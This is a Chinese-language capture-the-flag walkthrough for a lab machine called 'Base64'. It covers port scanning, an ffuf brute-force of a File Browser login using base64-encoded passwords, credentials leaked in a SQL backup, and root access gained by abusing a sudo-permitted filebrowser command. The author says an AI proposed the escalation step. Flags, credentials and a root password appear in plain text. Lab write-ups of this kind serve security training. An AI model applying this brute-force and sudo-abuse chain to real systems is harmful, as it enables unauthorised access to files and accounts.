

72、Base64

```
ip:192.168.101.163
flag{user-fc52140997cd7f978f24080eaa5db1f7}
flag{root-8145e7442efb4945fee41f6e910348b0}
```

端口扫描

```
└─(kali㉿kali)-[~/Desktop]
└─$ rustscan -a 192.168.101.163
```

```
Open 192.168.101.163:22
Open 192.168.101.163:80
Open 192.168.101.163:8080
```

```
└─(kali㉿kali)-[~/Desktop]
└─$ nmap -sV -sC -p 22,80,8080 192.168.101.163
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.67 ((Debian))
|_http-server-header: Apache/2.4.67 (Debian)
|_http-title: User ID Carousel
8080/tcp  open  http     Golang net/http server
|_http-open-proxy: Proxy might be redirecting requests
|_http-title:      File Browser
| fingerprint-strings:
|   FourOhFourRequest, GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Type: text/html; charset=utf-8
|     X-Xss-Protection: 1; mode=block
|     Date: Tue, 08 Sep 2026 13:19:21 GMT
|     <!doctype html>
|     <html lang="en">
|     <head>
```

Do not use base64 as a password

不要使用base64作为密码

ahiz 啊，原来如此



File Browser

Login



filebrowser默认账号密码



网页

图片

视频

学术

词典

地图

航班



约 3,330 个结果

自适应缩放



Filebrowser的默认用户名和密码都是“admin”。

通过以上信息，我们在80页面有用户池，并且说“Do not use base64 as password”，那么就是使用它们进行base64编码，对admin用户进行爆破

```
└─(kali㉿kali)-[~/Desktop]
```

```
└─$ ffuf -u http://192.168.101.163:8080/api/login \
      -X POST \
      -H "Content-Type: application/json" \
      -d '{"username":"admin","password":"FUZZ"}' \
      -w passwd_admin_b64.txt:FUZZ \
      -mc 200 \
      -t 4
```

```
/'___\ /'___\ /'___\
/\ ___/ /\ ___/ __ __ /\ ___/
\ \ ,__\ \ \ ,__\ /\ \ \ \ \ ,__\
\ \ \_/ \ \ \_/ \ \ \ \ \ \ \_/
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \_/ \ \_/ \ \_/ \ \_/
```

```
v2.1.0-dev
```

```
-----
:: Method           : POST
:: URL              : http://192.168.101.163:8080/api/login
:: Wordlist          : FUZZ: /home/kali/Desktop/passwd_admin_b64.txt
:: Header           : Content-Type: application/json
:: Data             : {"username":"admin","password":"FUZZ"}
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 4
:: Matcher          : Response status: 200
-----
```

```
c3VibGFyZ2U= [Status: 200, Size: 601, Words: 1, Lines: 1, Duration: 318ms]
:: Progress: [50/50] :: Job [1/1] :: 9 req/sec72、Base64 :: Duration: [0:00:05] :: Errors: 0 ::
```

获得登录密码

```
admin:c3VibGFyZ2U=
```

```
版本号: [File Browser](https://github.com/filebrowser/filebrowser) 2.63.15
```

漏洞验证-信息泄露

(在这里卡了很久，翻了很多历史漏洞，也明白了不要落下每一个出现的信息)

在files/backups/.keep内的mysql_backup_2025.sql可以下载，获取一组凭据

```
-- MySQL dump

-- Host: localhost      Database: testdb

-- -----

-- Server version 8.0.36

-- Username: fileadmin

-- Password: 1QOR4GKCNZzqC3nAQ41E


CREATE DATABASE IF NOT EXISTS testdb;

USE testdb;


DROP TABLE IF EXISTS user;

CREATE TABLE user (

    id INT PRIMARY KEY AUTO_INCREMENT,

    username VARCHAR(50),

    password VARCHAR(100)

) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; 4 / 9
```

```
INSERT INTO user (username, password) VALUES ('fileadmin', '1QOR4GKCNZzqC3nAQ41E');
```

```
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\System32> ssh fileadmin@192.168.56.178
The authenticity of host '192.168.56.178 (192.168.56.178)' can't be established.
ED25519 key fingerprint is SHA256:MjoUe5ON03T2UcSPmlU3evmpGUywf/3IUm0+1p77cI.
This host key is known by the following other names/addresses:
  C:\Users\16492\.ssh\known_hosts:2: 192.168.56.137
  C:\Users\16492\.ssh\known_hosts:5: 192.168.56.138
  C:\Users\16492\.ssh\known_hosts:9: 192.168.56.149
  C:\Users\16492\.ssh\known_hosts:26: 192.168.101.109
  C:\Users\16492\.ssh\known_hosts:32: 192.168.1.236
  C:\Users\16492\.ssh\known_hosts:42: 192.168.101.164
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.178' (ED25519) to the list of known hosts.
fileadmin@192.168.56.178's password:
Linux Base64 7.0.11-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-12.1~trixie (2026-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fileadmin@Base64:~$ ls -al
total 24
drwx----- 2 fileadmin fileadmin 4096 Jun 17 05:53 .
drwxr-xr-x 3 root      root      4096 Jun 17 05:32 ..
lrwxrwxrwx 1 root      root        9 Jun 17 05:53 .bash_history -> /dev/null
-rw-r--r-- 1 fileadmin fileadmin  220 Jun 17 05:32 .bash_logout
-rw-r--r-- 1 fileadmin fileadmin 3526 Jun 17 05:32 .bashrc
-rw-r--r-- 1 fileadmin fileadmin  807 Jun 17 05:32 .profile
-rw-r--r-- 1 root      root        44 Jun 17 05:48 user.txt
fileadmin@Base64:~$ cat user.txt
flag{user-fc52140997cd7f978f24080eaa5db1f7}
fileadmin@Base64:~$
```

获得user.txt

权限提升

```
fileadmin@Base64:~$ sudo -l

Matching Defaults entries for fileadmin on Base64:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User fileadmin may run the following commands on Base64:
    (ALL : ALL) NOPASSWD: /usr/local/bin/filebrowser
```

发现可以无密码执行/usr/local/bin/filebrowser

```
fileadmin@Base64:~$ sudo /usr/local/bin/filebrowser --help
File Browser CLI lets you create the database to use with File Browser,
manage your users and all the configurations without accessing the
web interface.
```

If you've never run File Browser, you'll need to have a database for

it. Don't worry: you don't need to setup a separate database server.
We're using Bolt DB which is a single file database and all managed by ourselves.

For this command, all flags are available as environmental variables, except for "--config", which specifies the configuration file to use. The environment variables are prefixed by "FB_" followed by the flag name in UPPER_SNAKE_CASE. For example, the flag "--disablePreviewResize" is available as FB_DISABLE_PREVIEW_RESIZE.

If "--config" is not specified, File Browser will look for a configuration file named .filebrowser.{json, toml, yaml, yml} in the following directories:

- ./
- \$HOME/
- /etc/filebrowser/

****Note:**** Only the options listed below can be set via the config file or environment variables. Other configuration options live exclusively in the database and so they must be set by the "config set" or "config import" commands.

The precedence of the configuration values are as follows:

- Flags
- Environment variables
- Configuration file
- Database values
- Defaults

Also, if the database path doesn't exist, File Browser will enter into the quick setup mode and a new database will be bootstrapped and a new user created with the credentials from options "username" and "password".

Usage:

```
filebrowser [flags]
filebrowser [command]
```

Available Commands:

cmds	Command runner management utility
completion	Generate the autocompletion script for the specified shell
config	Configuration management utility
hash	Hashes a password
help	Help about any command
rules	Rules management utility
users	Users management utility

Flags:

-a, --address string	address to listen on (default "127.0.0.1")
-b, --baseURL string	base url
--cacheDir string	file cache directory (disabled if empty)
-t, --cert string	tls certificate
-c, --config string	config file path
-d, --database string	database path (default "./filebrowser.db")
--disableExec	disables Command Runner feature (default true)
--disableImageResolutionCalc	disables image resolution calculation by
reading image files	
--disablePreviewResize	disable resize of image previews
--disableThumbnails	disable image thumbnails
--disableTypeDetectionByHeader	disables type detection by reading file
headers	
-h, --help	help for filebrowser
--imageProcessors int	image processors count (default 4)
-k, --key string	tls key
-l, --log string	log output (default "stdout")
--noauth	use the noauth auther when using quick setup
--password string	hashed password for the first user when using
quick setup	
-p, --port string	port to listen on (default "8080")
--redisCacheUrl string	redis cache URL (for multi-instance
deployments), e.g. redis://user:pass@host:port	
-r, --root string	root to prepend to relative paths (default
".")	
--socket string	socket to listen to (cannot be used with
address, port, cert nor key flags)	
--socketPerm uint32	unix socket file permissions (default 438)
--tokenExpirationTime string	user session timeout (default "2h")
--username string	username for the first user when using quick
setup (default "admin")	

Use "filebrowser [command] --help" for more information about a command.

将获得的信息给AI进行分析，得到以下的权限提升流程

核心信息

这是 File Browser 的命令行管理工具。因为 fileadmin 可以 **sudo 跑它**，等于是以 root 权限任意调用这个 CLI,这就直接给了我们 root。

最有用的一点：“快速安装模式”

帮助里写了这段：

如果数据库路径不存在，File Browser 会进入**快速安装模式**，自动创建一个新数据库，并用 `--username` 和 `--password` 选项创建第一个用户。^{Base64}

意思是，只要我们指定一个**不存在的数据库路径**，它就会新建一个库，并把第一个用户设成 admin，密码我们自己定。而且这个进程是 root 跑的，新建的这个 admin 用户 scope 可以指到 /，权限全开——**等于拿到 root 的文件浏览器**。

```
sudo /usr/local/bin/filebrowser -d /tmp/pwn.db -r / --address 0.0.0.0 --port 9999 --username rootpwn --password RootPwn123456
```

这条命令做了这几件事：

- `-d /tmp/pwn.db` :指定一个不存在的数据库路径，触发快速安装
- `-r /` :根目录设成 / (整个文件系统)
- `--address 0.0.0.0 --port 9999` :监听所有接口的 9999 端口
- `--username rootpwn --password RootPwn123456` :创建 root 权限的新管理员

跑起来后，从你的 Windows 浏览器打开 `http://192.168.56.178:9999`，用 `rootpwn / RootPwn123456` 登录，就能以 root 身份浏览整个文件系统，`/root/flag.txt`、`/etc/shadow` 什么都能读。

```
fileadmin@Base64:~$ sudo /usr/local/bin/filebrowser -d /tmp/pwn.db -r / --address 0.0.0.0 --port 9999 --username rootpwn --password RootPwn123456
2026/09/09 00:02:40 No config file used
2026/09/09 00:02:40 WARNING: filebrowser.db can't be found. Initialing in /tmp/pwn.db
2026/09/09 00:02:40 Using database: /tmp/pwn.db
2026/09/09 00:02:40 Performing quick setup
2026/09/09 00:02:40 User 'rootpwn' initialize with user-provided password
2026/09/09 00:02:40 Listening on [::]:9999
2026/09/09 00:03:14 /api/login: 403 192.168.56.176 <nil>
2026/09/09 00:03:22 /api/login: 403 192.168.56.176 <nil>
```

由于传递的是明文信息，登录是 403，我们需要传递密码的哈希值

```
filebrowser hash "geluodan123456"
```

生成密码hash

```
sudo /usr/local/bin/filebrowser -d /tmp/fresh2.db -r / --address 0.0.0.0 --port 9999 --username geluodan --password '$2a$10$FekhVUYldT5CrS.8P70HQ0sRes/WqgBFzWPwXUSUWeN1aF/SzC1ty'
```


✕ root.txt

🏠 > root > root.txt

```
1 flag{root-8145e7442efb4945fee41f6e910348b0}
2 |
```

其中rp.txt内的信息为root的密码

```
root@192.168.56.179's password:
Linux Base64 7.0.11-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-12.1~trixie (2026-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 17 09:15:12 2026 from 192.168.3.94
root@Base64:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Base64:~# cd /root/
root@Base64:~# ls -al
total 56
drwx----- 4 root root 4096 Jun 17 08:28 .
drwxr-xr-x 18 root root 4096 Jun 3 07:12 ..
lrwxrwxrwx 1 root root 9 May 11 00:24 .bash_history -> /dev/null
-rw-r--r-- 1 root root 607 Mar 2 2026 .bashrc
-rwxr-xr-x 1 root root 182 Nov 29 2025 give_flag
-rwxr-xr-x 1 root root 16128 May 16 05:10 give_pass
-rw----- 1 root root 20 Jun 17 05:41 .lessht
drwxr-xr-x 3 root root 4096 Apr 25 06:38 .local
-rw-r--r-- 1 root root 132 Mar 2 2026 .profile
-rw-r--r-- 1 root root 44 Jun 17 05:49 root.txt
-rw-r--r-- 1 root root 21 Jun 17 08:28 rp.txt
drwx----- 2 root root 4096 May 15 18:38 .ssh
root@Base64:~# cat root.txt
flag{root-8145e7442efb4945fee41f6e910348b0}
root@Base64:~# cat rp.txt
pr2mUv0DwS3dzrzW15PR
root@Base64:~#
```